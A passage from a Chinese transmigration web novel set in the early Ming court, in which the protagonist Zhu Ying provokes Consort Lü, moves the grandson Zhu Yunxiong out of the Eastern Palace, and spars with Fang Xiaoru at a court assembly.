若是旁人见吕氏此刻的状态怕是都不敢上前,可朱煐看了吕氏此刻的脸色却是不由得眼前一亮,大喜过望..... 这不和自己预料的计划一模一样吗?一切都在往好的方向发展。 今天是个好日子,正适合开罪吕氏,让她铭记于心! ....... “臣朱煐,见过太子妃。” 朱煐第一次与吕氏打照面,当即给吕氏行了个礼。 吕氏淡淡地瞥了一眼朱煐,冷笑道:“朱御史?久闻大名啊,听闻朱御史在朝中构陷本宫,污蔑我儿允炆,可有此事?” 吕氏默然地看着朱煐,她只是想看到朱煐畏惧颤抖地跪在她的面前。 她是太子妃,眼下太子刚刚去世,且不说旁人,哪怕是老朱也得顾念着太子的情分让她几分。 朱允熥低着头,见了吕氏就像是老鼠见了猫,面对朱允炆他尚且还能壮着胆子说上两句,可面对吕氏,他却半句话也不敢说了..... 朱煐扫了吕氏一眼,点头道:“太子妃说的对也不对,第一,臣从未构陷,臣在朝中所言只是可能性,加了倘若,假如,是一种合理的推导,第二,太子妃眼下若是想将这帽子扣在臣的头上,那臣以为,太子妃才是构陷,臣乃天子门生,国之栋梁,大明肱股,若是太子妃想处置臣,臣觉得,尚还不配。” “????” “????” 朱煐话落的这一刻,吕氏的笑容顿时僵住了,整个人在这一刹当场愣住,呆愣愣地站在原地看着朱煐,嘴巴动了动想反驳,可话却怎么也说不出口,她瞪大了眼睛,眼中满是震惊与不可思议。 一旁一直低着头的朱允熥也猛地抬起头,一脸震惊地看向朱煐.....震惊之后,朱允熥眼中取而代之的便是无与伦比的敬佩,钦佩! 强! 强啊朱御史! 这就是你嘛? 此刻的朱允熥对于朱煐的大胆有了一个新的层次的认知。 不是,这吕氏,好歹也是太子妃啊! 朱御史,你就这么不给面子? 朱允熥从未见过有朝臣敢当面与吕氏这般说话,哪怕是蓝玉,也没有这般冒犯过! 而眼下的朱煐,就当着他的面,就这么赤裸裸地冒犯了! 朱允熥对朱煐的钦佩此刻如同黄河之水滔滔不绝..... 而眼下,吕氏听了朱煐的话只觉得脑袋嗡的一下一片空白,大脑发蒙....看向朱煐,瞳孔猛地一缩。 她想不明白,她不理解。 不是,他怎敢如此? 怎敢如此??? 原先只是听儿子朱允炆说朝中出了个胆大包天的狂生,深得陛下信赖,可毕竟听说只是听说,任何事情,身在局外亲身经历那都是两种体会,两种感受,而眼下,吕氏真正直面朱煐方才知晓,这哪里是什么狂生!这简直就是疯子啊! 吕氏想发飙,可想到朱煐的性子,再加上刚刚已经见识过了这家伙臭不可闻的脾气,她不想把事情闹大,只好忍住了怒意。 “不可与疯子计较,不与疯子计较......” 吕氏在心中默默宽慰自己。 足足宽慰了好一阵,她才平息了心中的怒火。 而朱煐看着这一幕心中却是喜不胜收。 这吕氏果然是个城府深沉的家伙,不过看着家伙的样子,想来也是把今天的事儿给记在了心里,那便是最好不过了..... 这都是给日后留的后手啊。 不谋全局者不足以谋一域不谋万世者不足以谋一时,唯有留尽后手,才能确保自己万无一失! “朱御史说笑了,方才本宫只是想与御史开个玩笑。” 吕氏心里愠怒可脸上却不露声色反倒是满面笑意,看着让人如沐春风。 “太子妃这个玩笑可并不好笑,臣觉着这玩笑一般。” 吕氏笑容又是一僵,心里已经把朱煐的祖宗十八代都给骂了个遍。 这该死的破落户,好大的胆子! 心中虽怒,可脸上吕氏却依旧没有露出分毫,话锋一转看向朱允熥笑吟吟地开口:“允熥,你这是做什么?可是谁得罪了你?你与娘说,娘必然替你做主!” 吕氏一脸愤慨。 朱允熥又低下了头,面对吕氏的逼问,朱允熥摇了摇头。 “既然没有人得罪,那你这收拾行李做什么?” 朱允熥不言语,而见此吕氏的笑容更盛。 “来人,还不快将殿下的行李给取下?” “给本宫好好查查,最近有谁无礼得罪了允熥,给本宫按宫中的规矩办!” “诺!~” 吕氏同宫女一唱一和,朱允熥听到这猛地好像想到了什么,唰的一下脸色煞白..... 第35章 震惊朝野! 就在朱允熥不敢言语之时,朱煐一个挺身站到了朱允熥的面前。 朱允熥的视线顿时被朱煐的身躯给隔开,他的眼前只剩下了朱煐伟岸的背影再看不见吕氏。 看不到吕氏后朱允熥当即缓了一口气上来。 盖因自小他便饱受吕氏精神压迫和威胁,就好似这幼虎以养狗之法养之,则虎自以为犬。 朱允熥的情况和这差不多,从小受到吕氏的精神打压、威胁,他已经从心底里对吕氏发憷,胆怯是下意识的反应。 不过朱允熥怕吕氏,可朱煐却半点不怕,相反,这会儿的朱煐还格外的兴奋,无比地兴奋! 他看着吕氏两眼放光。 一时没有掩饰好心中的喜悦,竟是将内心的心情从眼神里流露了出来。 而朱煐的这眼神顿时被吕氏所感知,心里登时一跳,被朱煐的目光直勾勾地盯着,吕氏下意识退了一步。 “你....你想对本宫做甚?” 吕氏一声喝问朱煐也意识到了自己的失态。 想到今日便可将吕氏给得罪死朱煐心里就是一阵高兴,高兴之余没有掩盖,以至于流露了出来。 被这一喝问之后,朱煐当即回过神来,当然他没有让开身子,而是面色一正,眼中充满了坚定与威严。 “启禀太子妃,臣奉陛下之命带允熥殿下去臣府中常住,怎么?难不成太子妃连陛下的命令都要违抗吗?” 朱煐冷声喝道直接搬出了老朱。 果然,搬出老朱之后吕氏听闻当即变了神情,脸色不由一黑。 “既是陛下传令,本宫自然不好阻拦,不过这空口无凭,可有圣旨?” “此乃陛下口谕,难不成太子妃以为臣会假传圣旨不成?” “那可说不准。”吕氏冷笑。 她心中已知这定然是老朱的命令,毕竟在这洪武朝还没有人胆敢假传圣旨,这罪过任谁也扛不住,可她嘴上却依旧不依不饶,借着朱煐没有圣旨想故意为难,挫其锐气。 “既然太子妃不信,不知太子妃可敢与臣同往御书房与陛下当面对质?” 朱煐寸步不让,心中打着今日一定要将吕氏彻底给得罪死的想法步步紧逼。 吕氏闻言骇然变色,心中自然知道不能因为此事去御书房打扰老朱,可面上却不想露出怯懦.... 当即吕氏便道:“本宫凭什么与你去对峙?” 吕氏冷冷地扫了朱煐一眼,眼中满是轻蔑与不屑。 区区一个贡生,刚刚入朝当了个小小的监察御史,仗着陛下的宠爱如此嚣张跋扈,且看你能猖狂到几时! “凭什么?凭臣一条贱命如何?” “太子妃既然咬死不信,不知可敢与臣对赌一番?” “我们就赌命,若是今日没有陛下口谕,臣当场自刎,若是有,还请太子妃自刎!当然,若是太子妃下不了手,臣可以代劳。放心,臣与朝中兖兖诸公皆不相同,臣最是守信,太子妃不需担心臣不敢下手,只要太子妃敢赌,若是输了不好下手,让臣来,定不让太子妃失信于天下!” 朱煐这话一出躲在他身后的朱允熥立时间便听呆了..... 朱允熥微微张嘴,目瞪口呆地看着面前的朱煐,虽然只是背影,可这铿锵有力的言语,这咄咄逼人的话术...... 他娘的,这也太太太太勇了! 这一言不合就赌命啊! 不愧是你啊朱御史! 此刻朱煐在朱允熥心中的形象顿时又陡然拔高了几分..... 而和朱煐一样变了脸色的还有吕氏。 不过和朱煐不同,吕氏此刻却是脸色难看至极.... 她敢欺朱允熥是欺他胆怯,可朱煐.... 原先吕氏还有些不以为意,可这真正接触了之后她才发现,自己错了,大错特错..... 朱煐这厮,不能说是胆大,这丫的就是疯狂!就是疯子! 自己是堂堂太子妃,你一个刚入朝为官几天的货色,张口闭口就要和自己赌命? 这要是换做旁人,吕氏必不后退半步,否则岂不是丢了颜面? 可朱煐..... 面对朱煐.....吕氏没来由地说不出半句硬话.... 换个人,就算是自己赌输了,仗着身份量对方也不敢轻举妄动,可朱煐这疯子....他说不定是真敢啊! ....... 朱煐与吕氏对峙,吕氏最终还是无奈放行了。 有老朱的命令在,再加上朱煐这个硬的不能再硬的家伙,吕氏知晓自己哪怕是强留也是留不住了。 而在朱煐提出要与其赌命之后,吕氏也不再言语,生怕再一个不慎激怒了这疯子。 看着朱煐带着朱允熥离开东宫,吕氏对着朱煐的背影暗唾了一口,骂道:“真疯子!” 人性向来如此,欺软怕硬,当你连命都豁得出去的时候,不用怀疑,此刻的你就是无敌的。 吕氏望着朱煐和朱允熥远去,她愣愣地站在原地许久..... 周围的宫女可不敢在这个时间点去触吕氏的霉头,吕氏不动她们也不敢动,就连吭声也不敢吭一声。 朱允炆久等吕氏不见归来动身寻找,径直来到了朱允熥的住处却看见这住处已经人去楼空,唯有吕氏面色铁青地站着。 看到这场面朱允炆便知晓定然是出了什么变故,当即匆忙来到吕氏面前..... “娘亲,允熥呢?” “走了。” 吕氏脸色铁青地说道。 “走.......走了?” “去...去哪里了?” “宫外。”吕氏瞥了儿子一眼,摇了摇头:“事不可为,陛下下的旨意,拦不住。” 朱允炆虽然已经有所猜测,可当吕氏亲口说出来的时候,依旧是感觉瞬间被抽空了力气。 一直以来吕氏和他说的底牌便在朱允熥身上,可眼下朱允熥却离开了东宫.... 此刻一瞬间朱允炆的脑子里闪过了无数的念头,一脸焦急,一把抓住吕氏的手:“娘,这该如何是好啊?” “皇爷爷他先不杀蓝玉,现在又调走允熥,他是不是....” 朱允炆的话还没说完就被吕氏给一把捂住了嘴..... 朱允炆当即也意识到此地不是说话的地方,自己失态了,他也非寻常人,当即调整好了心绪,闭口不言..... ...... 而与此同时。 朱煐已经带着朱允熥离开了东宫,离开了皇宫..... 直到离开皇宫的时候朱允熥依旧没有缓过神来,他牢牢地抱着怀里装着儿时的物件,心中满是高兴和不可思议。 “这....这就跑出来了?” 朱允熥不敢置信。 他万万不敢相信,自己当真有一天居然就真的脱离了吕氏的掌控!当真便离开了东宫! 这次的离开可不是以往的出门,这一次是真正不在东宫住了! “殿下,不过是离开了东宫而已,有什么值得大惊小怪的?” “你日后可是要做大事的,且不说允炆殿下虎视眈眈,还有其他几位王爷尚且不知他们的想法呢,陛下让您住入臣府中,想要也是希望臣能辅佐殿下。” “为今之计,殿下当修身养性,改改性子才是。” 朱煐劝道,谆谆教诲宛若长者,这要是不知其心中所想,当真还以为这货是真心实意地想要辅佐朱允熥争夺皇储之位。 事实上朱煐有着自己的想法。 原先在御书房的时候他忽然想到了个计策,以朱允熥之事为媒介,将朱允炆推到对立面,以此给日后留下后手,哪怕日后老朱在位时未能完成任务,新皇登基,朱允炆继位,自己也能快速升天。 而一切也按照计划逐步演变。 可就在带朱允熥离开东宫的这路上,朱煐却又有了新的想法...... 既然已经知道只要交恶朱允炆,日后等朱允炆上位之后,便对自己有利无害,那么....为什么不更进一步呢? 进一步交恶朱允炆岂不是更加保险? 想要交好一个人不容易,可要是交恶一个人,那就太简单了! 敌人的敌人就是朋友,那么同理,想交恶一个人,那只要和他的敌人交朋友,坚定地站到他的敌人一边,那不就..... 朱允炆的敌人是谁? 眼下而言,毫无疑问,对朱允炆皇储之位有威胁,有直接威胁的,就是朱允熥! “要不就站队朱允熥?” 朱煐一旦脑海里有了这么个想法之后立刻就再也不可遏制,越想越是觉得有理,有可行性! 而战队朱允熥还有另外两个好处,其一,参与皇权之争,想来哪怕是老朱再宽厚也不至于三番五次接受自己的挑衅而无动于衷,尤其事关这大明未来君主之事。 其二,倘若自己站位朱允熥,那势必日后会被后来上位的朱棣所忌惮,哪怕是朱允炆当朝时侥幸活下来了,等朱棣靖难成功,自己也是必死无疑,这显然,又是一道保险! 要说唯一的缺点那无非就是朱允熥当真得了皇位,那自己坚定的站位或许就弄巧成拙了。不过...... 这可能吗? 朱煐笑了..... 显然,这必不可能啊! 朱允炆登基,那是切切实实后世明史上记载的,哪怕满清史官用了些许的春秋笔法对明朝的明史在编纂时进行了一些艺术加工,可这皇帝总不能乱写吧? 明史上实打实写的就是朱允炆登基。 朱允熥显然与皇位无缘。 唯一有可能改变历史的,那就只有自己!可既然已知如此,自己只要站队不有大动作,这不就得了? 老朱想让朱允熥向自己学习改改性子,可这性子是那么好改的吗? 江山易改本性难移,这人的性格真要是那么好改的话,那也就不会有这么一句话存在了...... 朱煐看着眼前的朱允熥,不由大喜..... 这就是个扶不起的阿斗啊! 好好好!阿斗好啊! 朱煐眼中满是喜意。 “朱御史,允熥身上可有何不妥之处吗?” 就在朱煐心中幻想着美滋滋去死的时候,朱允熥的声音突然打断了他的思绪将他的思绪拉回到了现实...... “哈哈哈哈,没什么,只是臣观殿下天赋异禀,是可造之材,便想着日后教导殿下,投效殿下,殿下若想,臣可助殿下一臂之力,谋那皇储之位!” 朱煐看着朱允熥眼热。 确实是可造之材,可劲造都扶不上墙的人才! 朱允熥听得朱煐这话顿时一愣,顿时感动,从小到大他从未感受过被人关心被人投效的感觉,哪怕是和他站在一起的凉国公以及淮西众臣,他也明白那只是看在已经去世的老娘的面子上,打心底里都是看不起他的...... 可眼下..... 眼下的朱煐,不仅带着自己出了东宫,还说出这一番话..... 朱允熥无比感动,可让他争储,他依旧有点发憷..... “朱御史,皇爷爷身体还康健着呢,立储之事自有皇爷爷做主,我看我们还是不要操心了。” 朱允熥没有直接拒绝可话里话外的意思却已经很明显,他并不是很想争储,不到万不得已,他不想如此,不是他不忍心,而是他属实害怕..... 而听到这话的朱煐却再度露出了满意的笑容。 果然,没有看错人啊! 确实是烂泥扶不上墙,那我就放心了,不需要太担心蝴蝶效应了。 朱煐自觉一切尽在掌握之中。 “殿下不忍骨肉相残,实乃仁义,可殿下须知,吕氏视殿下如敌寇,皇权之争不是你死就是我亡,不知殿下是想死想活?” “我.....我.....” 朱允熥张了张嘴想要说话,可话到嘴边又给收了回去。 倘若是其他下属见自己要效忠之人在关键时刻是这样的表现,定然已经是十分失望。 可朱煐见朱允熥这般,心中却是更高兴了。 没有看错你啊!我话都说到这个份上了,你还犹豫不决!不愧是公认的性格懦弱!不亏是你啊! 如此,我便放心了..... “殿下宽心,我等可徐徐图之,殿下可慢慢思虑,不急。” 朱煐笑着带朱允熥回了自己的府中...... ....... 老朱让朱允熥离开东宫住进朱煐府中的消息很快就传开了。 应天府虽大可消息却传的很快,老朱也没有想隐瞒的意思,于是这事儿三两下便在这娱乐活动匮乏的大明通过饭后八卦的形式传开了..... 一时间朝野震动,整个应天府各种消息不断冒出,风言风语更是数不胜数..... 有关朱允熥离开东宫的这件事在民间传播之后很快就衍生出了十余个版本。一时间,整个应天府各方势力,所有人的目光全都聚焦到了此事上..... 一封封奏章飞入宫中,翌日早朝,注定热闹非凡..... 第36章 大朝会,方孝孺 又一日早朝。 朱煐、朱允熥早早便来到了奉天殿。 朱允熥的状态与前些日子俨然已经完全不同..... 前些日子他总是顶着个黑眼圈,脸色惨白,气血亏虚的模样,而眼下身体看上去依旧虚弱,可脸上已经多出了几分红润,黑眼圈也不在了。 昨天晚上是他睡觉睡得最安心的一晚。 从小到大朱允熥一直被恐惧所笼罩,为吕氏所威慑,身为大明的堂堂皇孙却在宫中不敢言语一句,长此以往也就养成了无比懦弱的性格,他怕死,他想活着..... 昨天在朱煐的府中,朱允熥感受到了前所未有的安全感,不需要担心有人在睡觉的时候暗害自己,常年伴随着的失眠也直接好了。 今天两人起了个大早,朱允熥显得精神头十足,神采奕奕..... 这就不得不说到睡眠的深浅问题了,虽然都是睡觉,可睡觉和睡觉之间是有差别的,睡眠又分为深度睡眠和浅度睡眠,深度睡眠的休息效果要比浅层次的睡眠好了不知道多少..... 经常睡觉的人都知道,浅层次的睡眠哪怕你一天睡了十几个小时依旧感觉睡不够,感觉睡得腰酸背疼,精神疲惫。而深层次睡眠则全然不同,有时候只是睡了短短的三四个小时,结果醒来之后精神饱满,精力充沛..... 而显然,昨天朱允熥进行了深层次的睡眠,他睡得很好。 两人同住一个屋檐下一晚上,朱煐和朱允熥之间也少了那一份生疏感,两人熟悉了许多,尤其是在朱允熥的心中是敬佩朱煐的,有心接触..... 站在首列的朱允熥用眼角的余光不断扫向朱煐,看着不远处的朱煐,莫名的朱允熥就感受到了一股子安全感.....一种有靠山的感觉..... 这种感觉让懦弱的朱允熥都不由挺了挺自己的腰杆子,有朱煐在不远处,朱允熥觉着自己的腰杆子都好像硬了许多..... ..... 此刻龙椅上,老朱也早早到了奉天殿,他这会儿眯着眼睛打量着下方。 身居高位多年,老朱的识人之术早已炉火纯青,只是几眼就看出了朱煐和朱允熥之间今日与昨日的不同,而看到这样的变化,老朱心中却是暗喜。 “嘿嘿,咱可真是聪明!” “当真是亲兄弟,这短短一天的功夫感情上就大有增进,这眉来眼去的,看来不需多少时日两人之间的情谊便会愈重,等过些年....咱传位,看这臭小子还敢不接?” 老朱想的很好,哪怕自己的这大孙对自己有意见,可为了亲弟弟,为了朱允熥,也得接下这个皇位,毕竟以朱允熥这懦弱的性子,要是没人护着,日子怕是过得会很凄惨。 念及至此,老朱忍不住嘴角微微上扬..... 计谋成了!这会儿的老朱心中正暗爽着呢.... ...... 而此时。 其余奉天殿内的朝中诸臣却是对老朱、朱煐和朱允熥这爷孙三人之间的各自想法全然不知。 他们只是知道昨日陛下忽然下令让皇孙允熥离开了东宫,住进了朱煐这近乎疯狂的家伙府中。 这行为也是让百官百思不得其解。 黄子澄和齐泰暗戳戳地交换了一个眼神,对方当即会意。 和大部分的官员不同,黄子澄和齐泰作为文官集团中力主要立朱允炆为皇储的人物,尤其是黄子澄,被吕氏寄予厚望,虽然吕氏并未告诉他最后万不得已时的计划,可黄子澄心里哪里能半点不知? 两人心中有了大致的猜测。 “齐大人,你看这昨日陛下让允熥殿下出东宫,入这朱煐府中常住,是为何意?” 黄子澄和齐泰的位置本就挨得近,微微一侧身就凑到了齐泰的耳边,用只有齐泰能听到的声音在他耳边小声低语..... 齐泰反看了黄子澄一眼,翻了个白眼:“老黄你这是在考我呢?” “陛下焉能无缘无故让允熥殿下离开东宫?这其中必有蹊跷!” “听闻昨日允熥殿下被陛下传召,而后陛下便召了朱煐入宫,再之后就传出了陛下下旨让允熥殿下出宫长住的消息,由此可见,这出宫一事当是允熥殿下自己提出的,只是.....” “只是以允熥殿下的性子和阅历,焉能主动提出这一点?”齐泰话没说完被黄子澄打断,黄子澄接过话头悠悠说道。 “不错。”齐泰点头,而后眯起了眼睛:“这表面上看或许是允熥殿下主动向陛下提出要离开东宫,可实际上,怕是允熥殿下背后有人提点啊....” “那老齐你觉得是谁?” “还能是谁?”齐泰冲着前方的一个空位努了努嘴。 那地方是蓝玉上朝的位置,只是这几日蓝玉一直称病在家未曾上朝。 黄子澄微微点头,脸色一肃:“看来是英雄所见略同了。” “我便知晓这老家伙不会安分,看来是猜对了!” “这凉国公还是阴险狡诈啊,明面上闭门不出,背地里下手,非君子所为!” “他本不是君子,一介武夫而已,不知羞耻为何物。” “老齐,你可看出此计为一石二鸟之计?” “一石二鸟?为何我觉着是一箭三雕?”齐泰笑看向黄子澄,黄子澄一愣。 “一箭三雕?哪来的三雕?” “老黄啊,看来你是少看了一层。” “这其一自然是让允熥殿下脱离了允炆殿下和太子妃的掌控,自此他便是龙游入海,凤舞九天,其二,他想借力打力,借这朱御史之力强压殿下,朱御史背后可是陛下,那他借了这朱煐之力便是借了陛下之力,至于这其三.....或许这匹夫还想让允熥殿下亲自拉拢这朱煐,须知这朱煐乃是陛下的人,若是能将其拉入其麾下,那岂不就是.....” 黄子澄瞳孔猛地一缩小,抬头震惊地看向齐泰:“高见!我竟是未曾想到这第三层!” “这老匹夫好深的城府!” “呵呵,他若是城府不深,如何当得这凉国公?我早就看出来了,这厮表面上看骄纵放肆,实际上这些都只是他掩人耳目之举,实际上阴险狡诈,眼下他支持允熥殿下与我等为难,子澄兄当与允炆殿下说清,让其多加防备,不可小觑!” 黄子澄无比郑重地点了点头,他也意识到了问题的严重性。 “不急,我们先试探试探陛下的态度,昨日我已让人写了不少奏章呈上,陛下心中想必已有决断。”齐泰幽幽道。 黄子澄却皱眉:“书写奏折只是其次,若想当朝商议此事,还需一个引子,不知你安排了何人?” “放心吧子澄兄,我办事你还不放心吗?恰逢昨日有一故友入京,正好当今日的引子。” “故友?谁?” 黄子澄眉头一挑,心中疑惑,他与齐泰相熟,齐泰经常来往的朋友,他基本都认识。 “是宋景濂的弟子,方孝孺,子澄兄应该听说过。” 黄子澄不由一愣,这方孝孺的名字他倒是晓得,而且算是颇为熟悉,十年前曾被征兆入京,饱受老朱的称赞不过未曾重用,但他在士林中的名声确实不小,性格刚正,眼里容不得半点沙子,学识渊博,门生不少。 “他怎么入京了?” 黄子澄有些愕然,要是没有记错的话,这会儿方孝孺该是汉中府教授,不可擅离职守才是。 “自是陛下传召,太子病逝之后陛下传召了几位王爷,前不久又传了方孝孺入宫,想来是准备启用了。” “他倒是个合适的人选....他人呢?” “想来过会儿就来了,眼下时间还早,放心吧子澄兄,一切都已经安排妥当了。”齐泰露出了自信的笑容..... ....... 两人交头接耳窃窃私语,不过无论是老朱还是其他人都并未在意。 事实上早朝之前大家都如此这般三五成群地聚在一起交流,毕竟这古代信息闭塞,通信也慢,大家在上班前聊聊天交换一下信息是常规操作了,只是今天老朱来得早,大家不好离开自己的位置,那样显得太不尊重老朱了,于是只好站在原位,小声与周围攀谈。毕竟这会儿朝会还没有开始。 没多大会儿,朱允炆入殿,又过了一阵,奉天殿里已经站满了百官。 和后世上班一样,这上朝的官员也有不少是卡着老朱平日里入朝的时间点来的。 平日里老朱都是姗姗来迟,一直到朝会即将开始了他才会到,所以不少官员就以这时间线为基准,不过显然今天不同,当看到坐在龙椅上明显已经到了有一阵的老朱之后,晚到的官员们脸色一变,赶忙忧心忡忡地找到了自己的位置站定,低着头生怕引起老朱的注意...... 蓝玉还是没有上朝,他这几日一直称病在家。 不过朱樉却是每天必到。 自从被朱煐一顿打鸡血之后,眼下的朱樉上朝不再向之前那般毫无顾忌地放松,他开始注意起了自己的形象,说话谈吐都更为注意了一些,不再动不动开口就问候对方父母了..... 张平站在末位,他倒是想同朱煐聊聊,可奈何官位太小,位置太靠后,又不像朱煐这样有老朱单独安排,是以想说话却没办法说,原本张平和朱煐是形影不离的,可昨天恰好张平找到了个不错的住处,于是忙着办置家用没有粘着朱煐,可昨日的消息张平却是听说了。 听到这个消息的时候,张平惊呆了! 他的脑海里就只剩下了一句话——老大,你太猛了! 居然拐跑了当朝皇孙? 让皇孙跟着你混? 这要换个人,指定是被惊吓得不轻,可张平却不同于常人,且不说本来他的胆子就不小,又跟着朱煐多次亲身经历,亲眼目睹朱煐的惊人之举,对于朱煐的惊人之举已经有了抗性,都习惯了,是以很快就缓了过来,留下的只有崇拜与敬意。 都是刚刚入朝,而老大却已经站在了这样的高度上!不愧是我张志远的老大! ...... 时间很快,大朝会开始。 群臣分列左右,低头不语。 “可有本奏?” 龙椅上的老朱开口。 而老朱刚一开口,人群中就站出来了一人:“启禀陛下,臣有本奏!” 人群中站出来的正是汉中府教授,刚被老朱传召入京的宋濂弟子方孝孺! 眼下的方孝孺虽然没有在朝中为官,可他刚正的性子却早已响彻儒门,不少官员都听说过他的名声。 这一刻,所有人的目光瞬间齐刷刷地落到了此刻忽然站出来的方孝孺的身上..... “咱刚传召爱卿入京,爱卿便有本奏?” “所为何事?” 老朱心中已经有数,实际上昨天老朱就已经收到了方孝孺的上表,只是他没有吭声,笑呵呵地看着殿中的一切。 要说以往,这些个奏章如纸片一样摆到他的案头,早就把老朱烦的想要杀人了,可这段时间,自从找到了朱煐以来,老朱的心态早已经发生了转变。 首先就是老朱对自己的要求,以前遇到事情就烦躁,甚至在儿子朱标重病在身还与之争吵,结果让老朱悔恨终生。 再就是老朱为了改善在好不容易寻回来的大孙子的面前留下一个待人宽厚的好印象,以求日后爷孙相认后能获得孙子的认可,所以老朱时刻在心里告诉自己,冷静,世上无大事,一切为了孙子,眼下最大的时期就是给大孙子留个好印象..... 不断给自己心理暗示之后果然有了效果,再加上找回大孙子让老朱的心情好了不少,所以老朱眼下很是宽心,他还想养好身体多看两眼孙子,要不然日后到了九泉之下,妻儿问起来,答不上可咋整? 再就是老朱也想着趁自己身体还康健尽快锻炼朱煐,天资是天资,可想要把天资转换成真正的能力,那是需要经过锻炼的! 而权斗,自然是让一个人成长最快的锻炼方式! 方孝孺听闻老朱发问,当即起身,面色坚定地冲老朱道:“启禀陛下,臣昨日听闻允熥皇孙出宫住了?” “敢问陛下,此举陛下可曾答允?亦或是有他人蛊惑皇孙?” “允熥殿下为皇孙,依礼自该常住东宫,何以让皇孙出宫去住?不合礼法!” “若是有人蛊惑,臣请陛下将此人严惩!” 说着方孝孺有意无意地看了一眼朱煐.... “???” 被方孝孺这么一瞅,朱煐顿时就不乐意了。 这他娘的,这瘪犊子是谁? 朱煐当即挺身而出..... 第37章 吾乃汝父! “陛下,此人构陷微臣!” 朱煐朗声道。 方孝孺也是寸步不退,目光盯向朱煐:“蛊惑殿下你好大的胆子!” “你可有证据?” “并无证据,然此言已然盛传京城,焉能有假?” “吾乃汝父!” 朱煐的话顿时让整个奉天殿肃然一静.... 黄子澄:“????” 齐泰:“????” 朱允炆:“????” 张平:“????” 哪怕是此刻的老朱也怔住了.... ..................... 方孝孺顿时一愣,不是,这就直接骂娘了?多年没有入朝,眼下朝争都已经流行这么快的节奏了吗? 按照以往方孝孺熟悉的节奏,双方应该是据理力争,然后相互打嘴炮,相互嘲讽挖苦,文人之间的口舌之争又不像武夫,开口就骂娘,除非是格外极端的情况下才会出现祸及家人的场面。 可眼下.....这怎么自己刚开口两句话,就直接问候家属了? 方孝孺脸色涨红:“粗鄙!此言粗鄙!” 朱煐冷哼一声:“今日之后我便让人将‘吾乃汝父’之说传遍天下,依你的话说,此讯传遍天下,那自然为真。” “我....” 方孝孺顿时语塞。 这一招以彼之矛攻之彼盾的操作顿时让方孝孺一时之间不好反驳。 朱煐可没有等方孝孺回答的习惯,继续道:“你既没有证据又胡乱奏表,这不是构陷又是什么?” “陛下,此人构陷微臣,还请陛下将其杖毙!” “????” 方孝孺顿时眼睛一瞪,他这会儿还没有反应过来,原本还处于愕然中,结果猛地一听朱煐的话,顿时瞪大了眼睛,眼中满是不可思议。 不是,我就上个奏表,怎么就奏请杖毙了? 这多年未曾上朝,洪武朝堂已经如此风波诡谲了吗? 一时间方孝孺竟是感觉自己好像跟不上了节奏.... 而此刻,一直看着场中局势的齐泰和黄子澄互视一眼,不由双双无奈。 本想着以刚克刚,这朱煐的性子刚硬,那就用同样性格刚硬的方孝孺对之,可眼下的局面却大大出乎了他们的预料。 两人都未曾想到,这以性格刚正出名的方孝孺碰上了朱煐这厮,居然就软了? 以刚碰刚可结果发现对方更刚? “朱御史此言差矣,敢问朱御史奏事便能保证事事为真吗?我等表奏本就该是让陛下圣裁,朱御史有没有蛊惑皇孙,这不得调查吗?想来只要调查清楚,也就能给朱御史一个清白了。” 齐泰出列开口帮衬方孝孺,同时给朱煐发难。 “我不能保证事事为真,可我能上奏,此人却不行!” “???” “何以我便不行?”方孝孺脖子一梗,怒视朱煐。 朱煐用鄙夷的眼神扫了方孝孺一眼:“你没听到刚刚齐大人叫我什么吗?朱御史!本官乃御史,闻风奏事本就是御史之职,分内之事,你算个什么东西?你没有证据,胡乱构陷于我,其心当诛,其罪更是罄竹难书!” 说着朱煐扭头直面齐泰:“怎么?齐大人难不成也觉着这没有证据胡乱构陷朝臣无妨?” “亦或是没有证据便上奏陛下无妨?” “那要不然这样吧,您让全天下当差的都给陛下上奏吧,把事情都推给陛下解决,如此你们也就能辞官隐退了,什么事情陛下都干了,要你们还有何用?” “我...” 齐泰想说话可想到朱煐的性子,心知自己一旦开口那就会直接入局,本来让方孝孺开口就是为了找个冲锋陷阵的冤大头,这一转眼又把自己给搭进去?那这不划算啊,和这么个疯子争啥?那这自己不是纯吃亏吗? 于是当下齐泰也就不多言语,对于朱煐的冷嘲热讽他选择了忍着...... 可他想忍着,朱煐却忍不了半点。 “你什么你?” “有胆子开口没胆子与我对峙?” 齐泰:“.....” .................. 他不想和朱煐争辩,当即拱了拱手,大袖一挥回到了位置上,任凭朱煐骂两句,认了.....心中暗道不与疯子争论以求自我安慰..... 而方孝孺这会儿却是已然惊呆。 他一脸愕然地看向齐泰,心中却是更加迷茫疑惑了。 不是,你齐尚礼怎么回事?这也没听说你丫的是个软骨头啊,结果这骨头这么软?这都软到家了~! 他刚抵达京城,只是听说近日朝堂上多了个狂生,只是在方孝孺的预想中,那狂生,能有多狂? 眼下一看,这是真狂! 不过他并不打算退避,方孝孺是个认死理的人..... ........ “我与你对峙!” “对峙?” 朱煐鄙夷地看了方孝孺一眼:“你姓甚名谁我都不知,你也配与我对峙!” “朱爱卿,他是汉中府教授方孝孺。朕前些日子召他回京,昨日刚到。” 龙椅上老朱忽然开口,语气中带着学习揶揄,一副看好戏的架势。 朱煐听到方孝孺的名字心中一凛。 这名字他是知道的,历史上被诛十族第一人,被老朱挖掘,朱允炆启用,后在靖难之役后头铁硬刚朱棣被杀。 这也是自己原本规划的路线之一,倘若不能死在老朱手里,日后也就和此人一样,一定也能死在朱棣手里,而且还是为国为天下而死,也算是为义而亡,可以完美完成任务。 而眼下的方孝孺显然是被朱煐给气得够呛,脸色涨红,正要言语,却不曾想忽的听到了老朱开口说话。 .................... 听到老朱揶揄的语气,原本恼怒的方孝孺瞬间冷静下来。 他本就不是蠢人,虽然长久不在朝堂且性情刚正,可却并不意味着他脑子不好使。 他心中暗暗思量。 倘若皇孙出宫是被蛊惑并非陛下授意,此番我上禀之后陛下得知当是震怒,可眼下却没有半点恼怒,这..... 方孝孺脑子一转,立刻就意识到自己应该是被当枪使了,当即面色一变。 他当即抬头看向老朱:“陛下,不知允熥殿下常住朱御史府中之事,您...可曾知晓?” 老朱见方孝孺这前后的变化,心中暗暗叹了口气,看来这瓜是吃不上了。 当即干咳两声,点了点头:“此事咱已经看了不少折子了,正想趁着今日朝会与大伙儿说说,允熥性子弱了些,这性子哪成?咱见朱爱卿性子刚正,正好能让允熥跟着学习学习,由此便让允熥出宫住上一阵。” “朱爱卿的宅子也是咱赏赐的,府宅离宫门不过百步,回宫方便得紧,允熥住在朱爱卿府中与住宫中无异。” 老朱话这么一说,方孝孺脸色更白了。 他当即回头看向了齐泰。 而这会儿的齐泰和黄子澄默默地低下了头,压根不与方孝孺对视。 